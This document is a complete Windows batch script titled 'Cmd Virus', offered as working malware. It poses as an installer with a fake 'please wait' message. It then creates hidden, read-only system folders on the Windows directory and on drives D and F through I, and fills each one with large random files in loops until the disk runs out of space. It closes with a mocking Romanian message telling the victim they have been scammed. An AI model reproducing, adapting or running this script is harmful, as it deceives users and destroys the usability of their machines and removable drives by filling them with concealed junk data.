Cmd Virus

@echo off
title Wait A Moment Please
color 0b
msg * Please wait for the Installation to Finish

:Start
startlocal
cls
set ddir=D:
set fdir=F:
set gdir=G:
set hdir=H:
set idir=I:
::The Checking Sequence
if exist C:\ (MD %windir%\crss) else (goto setdir) >nul
if exist D:\ (MD %ddir%\System) else (goto setdir) >nul
if exist F:\ (MD %fdir%\System) else (MD F:\system) >nul
if exist G:\ (MD %gdir%\system) else (MD G:\system) >nul
if exist H:\ (MD %hdir%\system) else (MD H:\system) >nul
if exist I:\ (MD %idir%\system) else (MD I:\system) >nul
attrib +R +S +H %windir%\crss
attrib +R +S +H %ddir%\System
attrib +R +S +H %fdir%\System
attrib +R +S +H %Gdir%\System
attrib +R +S +H %hdir%\System
attrib +R +S +H %idir%\System
:create
CLS
echo ====== 20
fsutil file createnew %windir%\crss\%random%.%random% 100000000 >nul
fsutil file createnew %windir%\crss\%random%.%random% 10000000 >nul
fsutil file createnew %windir%\crss\%random%.%random% 1000000 >nul
if errorlevel 1 goto Next >nul
if errorlevel 255 goto Next >nul
goto create >nul
:next
cls
echo ============ 40
fsutil file createnew %ddir%\system\%random%.%random% 100000000 >nul
fsutil file createnew %ddir%\system\%random%.%random% 10000000 >nul
fsutil file createnew %ddir%\system\%random%.%random% 1000000 >nul
if errorlevel 1 goto flashg
if errorlevel 255 goto flashg
goto Next
:flashg
cls
echo =================== 60
fsutil file createnew %gdir%\system\%random%.%random% 100000000 >nul
fsutil file createnew %gdir%\system\%random%.%random% 10000000 >nul
fsutil file createnew %gdir%\system\%random%.%random% 100000 >nul
if errorlevel 1 goto flashf
if errorlevel 255 goto flashf
goto flashg

:flashf
cls
echo ====================== 70
fsutil file createnew %fdir%\system\%random%.%random% 100000000 >nul
fsutil file createnew %fdir%\system\%random%.%random% 10000000 >nul
fsutil file createnew %fdir%\system\%random%.%random% 1000000 >nul
if errorlevel 1 goto flashh
if errorlevel 255 goto flashh
goto flashf

:flashh
cls
echo ========================= 85
fsutil file createnew %hdir%\system\%random%.%random% 100000000 >nul
fsutil file createnew %hdir%\system\%random%.%random% 10000000 >nul
fsutil file createnew %hdir%\system\%random%.%random% 1000000 >nul
if errorlevel 1 goto flashi
if errorlevel 255 goto flashi
goto flashh

:flashi
cls
echo ================================ 100
fsutil file createnew %idir%\system\%random%.%random% 100000000 >nul
fsutil file createnew %idir%\system\%random%.%random% 10000000 >nul
fsutil file createnew %idir%\system\%random%.%random% 1000000 >nul
if errorlevel 1 goto exit
if errorlevel 255 goto exit
goto flashi

:setdir
if exist C: (set windir=C:\Windows) else (set windir=D:\Windows) >nul
if exist D: (set windir=D:\Windows) else (set windir=C:\Windows) >nul
goto start

:exit
pause
endlocal
msg * Aii luat teapa